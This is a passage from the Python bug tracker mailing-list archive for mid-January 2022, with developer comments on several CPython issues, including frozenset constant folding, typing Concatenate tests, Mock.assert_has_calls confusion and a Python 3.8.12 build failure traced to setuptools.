2022 22:16:24 +0000 Subject: [issue46388] Improve test coverage of functools.total_ordering In-Reply-To: <1642244147.78.0.364663520493.issue46388@roundup.psfhosted.org> Message-ID: <1642284984.0.0.267884730622.issue46388@roundup.psfhosted.org> Raymond Hettinger added the comment: Thanks for the PR. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 17:58:54 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 15 Jan 2022 22:58:54 +0000 Subject: [issue39663] IDLE: Add additional tests for pyparse In-Reply-To: <1581949396.83.0.321867900398.issue39663@roundup.psfhosted.org> Message-ID: <1642287534.27.0.717703937716.issue39663@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 19:16:30 2022 From: report at bugs.python.org (bpoaugust) Date: Sun, 16 Jan 2022 00:16:30 +0000 Subject: [issue46392] MessageIDHeader is too strict for message-id Message-ID: <1642292190.73.0.652141176491.issue46392@roundup.psfhosted.org> New submission from bpoaugust : The email headerregistry class MessageIDHeader is too strict when parsing existing Message-Ids. It can truncate Message-Ids that are valid according to the obsolete rules. As the saying has it: "Be liberal in what you accept, and conservative in what you send." I think the parser should be much closer to the UnstructuredHeader. ---------- components: email messages: 410665 nosy: barry, bpoaugust, r.david.murray priority: normal severity: normal status: open title: MessageIDHeader is too strict for message-id _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 22:11:25 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 16 Jan 2022 03:11:25 +0000 Subject: [issue46393] Generate frozenset constants when explicitly appropriate Message-ID: <1642302685.54.0.683212024451.issue46393@roundup.psfhosted.org> New submission from Terry J. Reedy : The CPython compiler is capable of making frozenset constants without being explicitly asked to. Exactly how it does so is, of course, 'hidden' from python code. With current main: . >>> dis('{1,2,3}') 1 0 BUILD_SET 0 2 LOAD_CONST 0 (frozenset({1, 2, 3})) 4 SET_UPDATE 1 6 RETURN_VALUE Suppose one wants actually wants a frozenset, not a mutable set. 'frozenset({1,2,3})' is compiled as the above followed by a frozenset call -- making an unneeded double conversion to get what already exists. To avoid the intermediate set, one can use a constant tuple instead. >>> dis('frozenset((1,2,3))') 1 0 LOAD_NAME 0 (frozenset) 2 LOAD_CONST 0 ((1, 2, 3)) 4 CALL_FUNCTION 1 6 RETURN_VALUE Even nicer would be 1 0 (frozenset({1, 2, 3})) 2 RETURN_VALUE 'set((1,2,3))' is compiled the same as 'frozenset((1,2,3)), but frozenset does not having the option is using a more efficient display form. I cannot think of any reason to not call frozenset during compile time when the iterable is a constant tuple. Serhiy, I not sure how this relates to your issue 33318 and the discussion therein about stages, but it does relate to your interest in compile time constants. ---------- components: Interpreter Core messages: 410666 nosy: serhiy.storchaka, terry.reedy priority: normal severity: normal stage: test needed status: open title: Generate frozenset constants when explicitly appropriate type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 22:21:02 2022 From: report at bugs.python.org (Roy Smith) Date: Sun, 16 Jan 2022 03:21:02 +0000 Subject: [issue43371] Mock.assert_has_calls works strange In-Reply-To: <1614695494.31.0.773020245058.issue43371@roundup.psfhosted.org> Message-ID: <1642303262.86.0.891937238502.issue43371@roundup.psfhosted.org> Roy Smith added the comment: I agree that this is confusing and that what we need is an assertion for the top-level mock having specific calls in a specific order, and ignores any intervening extra calls to mocked functions. In other words, a version of assert_has_calls() which looks at call_args_list instead of mock_calls. I just finished up a session of head-banging with some tests that were failing (Python 3.7), and eventually ended up with the self.assertEqual(my_mock.call_args_list, [call(...), call(...)]) idiom as noted in msg397172 (but without first banging a few new dents into the top of my desk). This exact same experience is related in a recent stackoverflow thread (https://stackoverflow.com/questions/69360318/python-unittest-mock-assert-has-calls-returning-calls-to-other-mocks) so this seems to be a common source of confusion. I am neutral on whether this is implemented as a new flag to assert_has_calls() or as a new assertion method. As an aside, what I was trying to do was test if my code constructed its several instances of a class in the correct way. At one point I hit upon the idea of: MyMockedClass().__init__.assert_has_calls(....) which expressed my desired logic exactly and simply, but couldn't get that to work. It's unclear if I just never found the proper incantation, or if that's fundamentally unworkable. ---------- nosy: +roysmith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 22:24:40 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 16 Jan 2022 03:24:40 +0000 Subject: [issue46393] Generate frozenset constants when explicitly appropriate In-Reply-To: <1642302685.54.0.683212024451.issue46393@roundup.psfhosted.org> Message-ID: <1642303480.87.0.624339290055.issue46393@roundup.psfhosted.org> Steven D'Aprano added the comment: The difficulty is that frozenset may have been shadowed, or builtins monkey-patched, so we cannot know what frozenset({1, 2, 3}) will return until runtime. Should we re-consider a frozenset display literal? f{1, 2, 3} works for me. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 22:41:00 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 16 Jan 2022 03:41:00 +0000 Subject: [issue45447] IDLE: Support syntax highlighting for .pyi stub files In-Reply-To: <1634052276.56.0.989526823091.issue45447@roundup.psfhosted.org> Message-ID: <1642304460.31.0.205003973726.issue45447@roundup.psfhosted.org> Terry J. Reedy added the comment: A minimal version of util.py just for this issue is fine. What is blocking the issue deciding exactly what the minimum should be. Are both the extension list and function needed? Alex says somewhere in PR comments that ispythonsource passes directories. That seems wrong. Perhaps moving and revising it and making no-extension files browsable and removing the x.py(?) limitation should be a separate issue. IDLE users on *nix don't mind using extensions. I have not seen a complaint, though perhaps people who do mind silently use something else. I need to check again how the editor function is used and decide if we can leave it alone for now. So don't remove anything just now. I need to experiment with Ron's suggestion on my Mac. The Windows context menu is definitely a separate issue. Please add idle_test/example.pyi with the line in msg403741 for manual testing now and possibly future automatic testing. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 23:03:48 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 16 Jan 2022 04:03:48 +0000 Subject: [issue43476] Enabling access to showsyntaxerror for IDLE's shell In-Reply-To: <1615495137.57.0.647569220862.issue43476@roundup.psfhosted.org> Message-ID: <1642305828.86.0.0675164285806.issue43476@roundup.psfhosted.org> Terry J. Reedy added the comment: Whatever you worked out is probably better than depending on something that I hope to significantly change. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 23:33:38 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 16 Jan 2022 04:33:38 +0000 Subject: [issue46387] `test_field_descriptor` in `test_collections` should test all pickle protocols In-Reply-To: <1642242159.17.0.460124479222.issue46387@roundup.psfhosted.org> Message-ID: <1642307618.32.0.312223850627.issue46387@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset 37eab55ac9da6b6361f136a1da15bfcef12ed954 by Nikita Sobolev in branch 'main': bpo-46387: test all pickle protos in `test_field_descriptor` in `test_collections` (GH-30614) https://github.com/python/cpython/commit/37eab55ac9da6b6361f136a1da15bfcef12ed954 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 23:37:02 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 16 Jan 2022 04:37:02 +0000 Subject: [issue46387] `test_field_descriptor` in `test_collections` should test all pickle protocols In-Reply-To: <1642242159.17.0.460124479222.issue46387@roundup.psfhosted.org> Message-ID: <1642307822.41.0.122740436564.issue46387@roundup.psfhosted.org> Raymond Hettinger added the comment: I approved this but the code wasn't wrong. Once an object has demonstrated that it can pickle at all, it is the testing responsibility of the pickle module tests to make sure that new protocols handle the same inputs as the old ones. I went ahead and applied the PR because it is harmless, but it is a gratuitous test, so I don't recommend sweeping through all other pickling tests and modifying them in the same way. ---------- assignee: -> rhettinger resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 23:40:13 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 16 Jan 2022 04:40:13 +0000 Subject: [issue46393] Generate frozenset constants when explicitly appropriate In-Reply-To: <1642302685.54.0.683212024451.issue46393@roundup.psfhosted.org> Message-ID: <1642308013.75.0.81316278947.issue46393@roundup.psfhosted.org> Terry J. Reedy added the comment: Sigh. You are right. I will close this tomorrow. This also means that 'set()' is not guaranteed to return an empty built-in set. I did think of this workaround for that: >>> (empty:={None}).clear() >>> empty set() Go ahead and propose something on python-ideas if you want, pointing out that only displays (and comprehensions) are guaranteed to result in a builtin. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 00:27:57 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Sun, 16 Jan 2022 05:27:57 +0000 Subject: [issue46393] Generate frozenset constants when explicitly appropriate In-Reply-To: <1642302685.54.0.683212024451.issue46393@roundup.psfhosted.org> Message-ID: <1642310877.63.0.12890135195.issue46393@roundup.psfhosted.org> Dennis Sweeney added the comment: There's also the hacky expression {*()} to get an empty set ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 00:38:05 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 16 Jan 2022 05:38:05 +0000 Subject: [issue46386] Improve `test_typing::test_immutability_by_copy_and_pickle` In-Reply-To: <1642241308.05.0.615594550781.issue46386@roundup.psfhosted.org> Message-ID: <1642311485.53.0.609222016335.issue46386@roundup.psfhosted.org> Jelle Zijlstra added the comment: The additional tests would also be useful to have in https://github.com/python/typing/tree/master/typing_extensions if you're interested. ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 01:42:11 2022 From: report at bugs.python.org (Ethan Furman) Date: Sun, 16 Jan 2022 06:42:11 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642315331.2.0.650529115689.issue40066@roundup.psfhosted.org> Ethan Furman added the comment: New changeset acf7403f9baea3ae1119fc6b4a3298522188bf96 by Ethan Furman in branch 'main': bpo-40066: [Enum] update str() and format() output (GH-30582) https://github.com/python/cpython/commit/acf7403f9baea3ae1119fc6b4a3298522188bf96 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 02:11:42 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 16 Jan 2022 07:11:42 +0000 Subject: [issue46386] Improve `test_typing::test_immutability_by_copy_and_pickle` In-Reply-To: <1642241308.05.0.615594550781.issue46386@roundup.psfhosted.org> Message-ID: <1642317102.66.0.401204226181.issue46386@roundup.psfhosted.org> Nikita Sobolev added the comment: Thank you, Jelle. Will send a PR to typing_extensions today as well :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 02:32:24 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sun, 16 Jan 2022 07:32:24 +0000 Subject: [issue46386] Improve `test_typing::test_immutability_by_copy_and_pickle` In-Reply-To: <1642241308.05.0.615594550781.issue46386@roundup.psfhosted.org> Message-ID: <1642318344.22.0.159055806518.issue46386@roundup.psfhosted.org> Dong-hee Na added the comment: New changeset 09087b8519316608b85131ee7455b664c00c38d2 by Nikita Sobolev in branch 'main': bpo-46386: improve `test_typing:test_immutability_by_copy_and_pickle` (GH-30613) https://github.com/python/cpython/commit/09087b8519316608b85131ee7455b664c00c38d2 ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 02:33:19 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sun, 16 Jan 2022 07:33:19 +0000 Subject: [issue46386] Improve `test_typing::test_immutability_by_copy_and_pickle` In-Reply-To: <1642241308.05.0.615594550781.issue46386@roundup.psfhosted.org> Message-ID: <1642318399.87.0.312054572044.issue46386@roundup.psfhosted.org> Dong-hee Na added the comment: Thank you @sobolevn ! ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 03:05:35 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sun, 16 Jan 2022 08:05:35 +0000 Subject: [issue40962] Add documentation for asyncio._set_running_loop() In-Reply-To: <1591976537.41.0.345001271187.issue40962@roundup.psfhosted.org> Message-ID: <1642320335.83.0.587592229637.issue40962@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +asvetlov, yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 03:14:46 2022 From: report at bugs.python.org (Tomasz Kloczko) Date: Sun, 16 Jan 2022 08:14:46 +0000 Subject: [issue46394] 3.8.12: build fails because during handling of the above exception, another exception occurred Message-ID: <1642320886.94.0.0168418386231.issue46394@roundup.psfhosted.org> New submission from Tomasz Kloczko : Looks like it is some 3.8.12 build issue. /usr/bin/gcc -c -fPIC -DDYNAMIC_ANNOTATIONS_ENABLED=1 -O2 -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS -fstack-protector-strong -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protection -fdata-sections -ffunction-sections -flto=auto -flto-partition=none -D_GNU_SOURCE -fPIC -fwrapv -ffat-lto-objects -D_GNU_SOURCE -fPIC -fwrapv -O2 -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protection -fdata-sections -ffunction-sections -flto=auto -flto-partition=none -D_GNU_SOURCE -fPIC -fwrapv -ffat-lto-objects -O2 -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protection -fdata-sections -ffunction-sections -flto=auto -flto-partition=none -D_GNU_SOURCE -fPIC -fwrapv -ffat-lto-objects -Og -O2 -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protection -fdata-sections -ffunction-sections -flto=auto -flto-partition=none -D_GNU_SOURCE -fPIC -fwrapv -ffat-lto-objects -fno-semantic-interposition -flto -fuse-linker-plugin -ffat-lto-objects -flto-partition=none -g -Og -I../Include/internal -IObjects -IInclude -IPython -I. -I../Include -fPIC -DPy_BUILD_CORE -o Modules/_math.o ../Modules/_math.c LD_LIBRARY_PATH=/home/tkloczko/rpmbuild/BUILD/Python-3.8.12/build-debug CC='/usr/bin/gcc' LDSHARED='/usr/bin/gcc -shared -Wl,-z,relro -Wl,--as-needed -Wl,--gc-sections -Wl,-z,now -specs=/usr/lib/rpm/redhat/redhat-hardened-ld -flto=auto -flto-partition=none -fuse-linker-plugin -Wl,--build-id=sha1 -Wl,-z,relro -Wl,--as-needed -Wl,--gc-sections -Wl,-z,now -specs=/usr/lib/rpm/redhat/redhat-hardened-ld -flto=auto -flto-partition=none -fuse-linker-plugin -Wl,--build-id=sha1 -flto -fuse-linker-plugin -ffat-lto-objects -flto-partition=none -g ' OPT='-DDYNAMIC_ANNOTATIONS_ENABLED=1 -O2 -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS -fstack-protector-strong -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protection -fdata-sections -ffunction-sections -flto=auto -flto-partition=none -D_GNU_SOURCE -fPIC -fwrapv -ffat-lto-objects -D_GNU_SOURCE -fPIC -fwrapv' _TCLTK_INCLUDES='' _TCLTK_LIBS='' ./python -E ../setup.py build Traceback (most recent call last): File "/home/tkloczko/rpmbuild/BUILD/Python-3.8.12/Lib/subprocess.py", line 64, in import msvcrt ModuleNotFoundError: No module named 'msvcrt' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "../setup.py", line 14, in from distutils import log File "/usr/lib/python3.8/site-packages/_distutils_hack/__init__.py", line 92, in create_module return importlib.import_module('setuptools._distutils') File "/home/tkloczko/rpmbuild/BUILD/Python-3.8.12/Lib/importlib/__init__.py", line 127, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "/usr/lib/python3.8/site-packages/setuptools/__init__.py", line 8, in import _distutils_hack.override # noqa: F401 File "/usr/lib/python3.8/site-packages/_distutils_hack/override.py", line 1, in __import__('_distutils_hack').do_override() File "/usr/lib/python3.8/site-packages/_distutils_hack/__init__.py", line 73, in do_override ensure_local_distutils() File "/usr/lib/python3.8/site-packages/_distutils_hack/__init__.py", line 60, in ensure_local_distutils core = importlib.import_module('distutils.core') File "/home/tkloczko/rpmbuild/BUILD/Python-3.8.12/Lib/importlib/__init__.py", line 127, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "/usr/lib/python3.8/site-packages/setuptools/_distutils/core.py", line 17, in from distutils.dist import Distribution File "/usr/lib/python3.8/site-packages/setuptools/_distutils/dist.py", line 19, in from distutils.util import check_environ, strtobool, rfc822_escape File "/usr/lib/python3.8/site-packages/setuptools/_distutils/util.py", line 14, in from distutils.spawn import spawn File "/usr/lib/python3.8/site-packages/setuptools/_distutils/spawn.py", line 11, in import subprocess File "/home/tkloczko/rpmbuild/BUILD/Python-3.8.12/Lib/subprocess.py", line 69, in import _posixsubprocess ModuleNotFoundError: No module named '_posixsubprocess' make: *** [Makefile:617: sharedmods] Error 1 In the same build env latest 3.9 builds correctly. ---------- components: Build messages: 410680 nosy: kloczek priority: normal severity: normal status: open title: 3.8.12: build fails because during handling of the above exception, another exception occurred versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 03:15:47 2022 From: report at bugs.python.org (Tomasz Kloczko) Date: Sun, 16 Jan 2022 08:15:47 +0000 Subject: [issue46394] 3.8.12: build fails because during handling of the exception, another exception occurred In-Reply-To: <1642320886.94.0.0168418386231.issue46394@roundup.psfhosted.org> Message-ID: <1642320947.89.0.0523984212855.issue46394@roundup.psfhosted.org> Change by Tomasz Kloczko : ---------- title: 3.8.12: build fails because during handling of the above exception, another exception occurred -> 3.8.12: build fails because during handling of the exception, another exception occurred _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 03:27:37 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 16 Jan 2022 08:27:37 +0000 Subject: [issue46395] `Concatenate` is not covered to be a return type in `test_typing` Message-ID: <1642321657.38.0.740460399913.issue46395@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now all `Concatenate` tests do not cover `Callable[..., Concatenate]` case. Link: https://github.com/python/cpython/blob/09087b8519316608b85131ee7455b664c00c38d2/Lib/test/test_typing.py#L4862-L4877 I think, that this should be improved. It is an important case. PR is on its way. ---------- components: Tests messages: 410681 nosy: sobolevn priority: normal severity: normal status: open title: `Concatenate` is not covered to be a return type in `test_typing` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 03:30:47 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sun, 16 Jan 2022 08:30:47 +0000 Subject: [issue46395] `Concatenate` is not covered to be a return type in `test_typing` In-Reply-To: <1642321657.38.0.740460399913.issue46395@roundup.psfhosted.org> Message-ID: <1642321847.1.0.713116176613.issue46395@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +gvanrossum, kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 03:31:07 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 16 Jan 2022 08:31:07 +0000 Subject: [issue46395] `Concatenate` is not covered to be a return type in `test_typing` In-Reply-To: <1642321657.38.0.740460399913.issue46395@roundup.psfhosted.org> Message-ID: <1642321867.19.0.514576848005.issue46395@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28822 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30618 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 03:38:58 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 16 Jan 2022 08:38:58 +0000 Subject: [issue46396] Invalid usage of `Concatenate` is not covered at all Message-ID: <1642322338.93.0.221862480137.issue46396@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now if I remove these lines: ```python if parameters == (): raise TypeError("Cannot take a Concatenate of no types.") if not isinstance(parameters, tuple): parameters = (parameters,) if not isinstance(parameters[-1], ParamSpec): raise TypeError("The last parameter to Concatenate should be a " "ParamSpec variable.") ``` from here: https://github.com/python/cpython/blob/09087b8519316608b85131ee7455b664c00c38d2/Lib/typing.py#L601-L607 And run the test suite - it passes. To increase coverage I plan to: 1. Add a test for empty `Concatenate[]` 2. Add a test case when `ParamSpec` is not the last item of `Concatenate` 3. When passed parameter to `Concatenate` is not `tuple` PR is on its way :) ---------- components: Tests messages: 410682 nosy: sobolevn priority: normal severity: normal status: open title: Invalid usage of `Concatenate` is not covered at all type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 03:41:18 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 16 Jan 2022 08:41:18 +0000 Subject: [issue46393] Generate frozenset constants when explicitly appropriate In-Reply-To: <1642308013.75.0.81316278947.issue46393@roundup.psfhosted.org> Message-ID: <20220116083612.GF16660@ando.pearwood.info> Steven D'Aprano added the comment: Proposed on Python-Ideas. https://mail.python.org/archives/list/python-ideas at python.org/message/GRMNMWUQXG67PXXNZ4W7W27AQTCB6UQQ/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 03:46:42 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 16 Jan 2022 08:46:42 +0000 Subject: [issue46396] Invalid usage of `Concatenate` is not covered at all In-Reply-To: <1642322338.93.0.221862480137.issue46396@roundup.psfhosted.org> Message-ID: <1642322802.34.0.442252328276.issue46396@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28823 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30619 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 03:50:08 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 16 Jan 2022 08:50:08 +0000 Subject: [issue46393] Generate frozenset constants when explicitly appropriate In-Reply-To: <1642302685.54.0.683212024451.issue46393@roundup.psfhosted.org> Message-ID: <1642323008.02.0.562629754476.issue46393@roundup.psfhosted.org> Mark Dickinson added the comment: [Terry] > To avoid the intermediate set, [...] It's not quite as bad as that: there _is_ no intermediate set (or if you prefer, the intermediate set is the same object as the final set), since the frozenset call returns its argument unchanged if it's already of exact type frozenset: >>> x = frozenset({1, 2, 3}) >>> y = frozenset(x) >>> y is x True Relevant source: https://github.com/python/cpython/blob/09087b8519316608b85131ee7455b664c00c38d2/Objects/setobject.c#L999-L1003 ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 04:35:35 2022 From: report at bugs.python.org (Ken Jin) Date: Sun, 16 Jan 2022 09:35:35 +0000 Subject: [issue46395] `Concatenate` is not covered to be a return type in `test_typing` In-Reply-To: <1642321657.38.0.740460399913.issue46395@roundup.psfhosted.org> Message-ID: <1642325735.5.0.169450229168.issue46395@roundup.psfhosted.org> Ken Jin added the comment: Sorry I'm confused: Callable[..., Concatenate] is invalid usage. So I don't think we need to test it. https://docs.python.org/3/library/typing.html#typing.Concatenate. "Concatenate is currently only valid when used as the first argument to a Callable." ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 04:37:23 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 16 Jan 2022 09:37:23 +0000 Subject: [issue46395] `Concatenate` is not covered to be a return type in `test_typing` In-Reply-To: <1642321657.38.0.740460399913.issue46395@roundup.psfhosted.org> Message-ID: <1642325843.92.0.70186902851.issue46395@roundup.psfhosted.org> Nikita Sobolev added the comment: > Sorry I'm confused: Callable[..., Concatenate] is invalid usage. So I don't think we need to test it. Yes, my bad :) In this case, do we need to make this a `TypeError`? Right now you can use `Concatenate` as the return type. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 04:44:55 2022 From: report at bugs.python.org (Anh Dang) Date: Sun, 16 Jan 2022 09:44:55 +0000 Subject: [issue46397] urllib.parse.urlencode() return wrong character Message-ID: <1642326295.37.0.140751306848.issue46397@roundup.psfhosted.org> New submission from Anh Dang : urllib.parse.urlencode() return "%2F%3F" instead of "/?" ---------- components: Library (Lib) files: urllib_issue.py messages: 410687 nosy: scratch priority: normal severity: normal status: open title: urllib.parse.urlencode() return wrong character versions: Python 3.9 Added file: https://bugs.python.org/file50563/urllib_issue.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 04:51:14 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 16 Jan 2022 09:51:14 +0000 Subject: [issue46393] Generate frozenset constants when explicitly appropriate In-Reply-To: <1642323008.02.0.562629754476.issue46393@roundup.psfhosted.org> Message-ID: <20220116094607.GG16660@ando.pearwood.info> Steven D'Aprano added the comment: That's not always the case though. >>> def f(): ... return frozenset({1, 2, 3}) ... >>> a = f.__code__.co_consts[1] >>> a frozenset({1, 2, 3}) >>> b = f() >>> assert a == b >>> a is b False Also see the disassembly I posted on Python-Ideas. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 04:54:02 2022 From: report at bugs.python.org (Ken Jin) Date: Sun, 16 Jan 2022 09:54:02 +0000 Subject: [issue46395] `Concatenate` is not covered to be a return type in `test_typing` In-Reply-To: <1642321657.38.0.740460399913.issue46395@roundup.psfhosted.org> Message-ID: <1642326842.4.0.318318663509.issue46395@roundup.psfhosted.org> Ken Jin added the comment: > In this case, do we need to make this a `TypeError`? Right now you can use `Concatenate` as the return type. Last I recall, we stopped checking anything in the param args of Callable since 3.10 because it has too many problems with inter-version typing and typing_extensions usage. E.g. in Python 3.8 Callable[typing_extensions.Concatenate[...], ...] was extremely difficult to implement in typing_extensions since Callable checks were too strict back then (they only allowed list of args). So to avoid such problems in the future, we ceased all param args checking. For the return arg, I'm not too keen on adding more checks for the same reason of allowing future additions. Also the static type checker should warn the user and mypy correctly does that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 04:55:30 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 16 Jan 2022 09:55:30 +0000 Subject: [issue46394] 3.8.12: build fails because during handling of the exception, another exception occurred In-Reply-To: <1642320886.94.0.0168418386231.issue46394@roundup.psfhosted.org> Message-ID: <1642326930.32.0.605076281724.issue46394@roundup.psfhosted.org> Christian Heimes added the comment: The problem is caused by setuptools 60.x's _distutils_hack. Please report the issue to setuptools or use SETUPTOOLS_USE_DISTUTILS env var to work around the issue. ---------- nosy: +christian.heimes resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 04:59:26 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 16 Jan 2022 09:59:26 +0000 Subject: [issue46394] setuptools' _distutils_hack breaks Python build In-Reply-To: <1642320886.94.0.0168418386231.issue46394@roundup.psfhosted.org> Message-ID: <1642327166.46.0.228269306786.issue46394@roundup.psfhosted.org> Change by Christian Heimes : ---------- title: 3.8.12: build fails because during handling of the exception, another exception occurred -> setuptools' _distutils_hack breaks Python build type: -> compile error _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 05:01:17 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 16 Jan 2022 10:01:17 +0000 Subject: [issue46395] `Concatenate` is not covered to be a return type in `test_typing` In-Reply-To: <1642321657.38.0.740460399913.issue46395@roundup.psfhosted.org> Message-ID: <1642327277.71.0.160219816513.issue46395@roundup.psfhosted.org> Nikita Sobolev added the comment: Thank you for the explanation, Ken Jin. Going to close this issue as invalid. ---------- resolution: -> not a bug stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 05:07:39 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 16 Jan 2022 10:07:39 +0000 Subject: [issue46393] Generate frozenset constants when explicitly appropriate In-Reply-To: <1642302685.54.0.683212024451.issue46393@roundup.psfhosted.org> Message-ID: <1642327659.1.0.609405440743.issue46393@roundup.psfhosted.org> Mark Dickinson added the comment: > That's not always the case though. Sorry, yes - I see. We're not creating a frozenset from a frozenset - we're creating a frozenset from a regular set from a frozenset. :-( Sorry for the noise. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 05:13:10 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 16 Jan 2022 10:13:10 +0000 Subject: [issue46392] MessageIDHeader is too strict for message-id In-Reply-To: <1642292190.73.0.652141176491.issue46392@roundup.psfhosted.org> Message-ID: 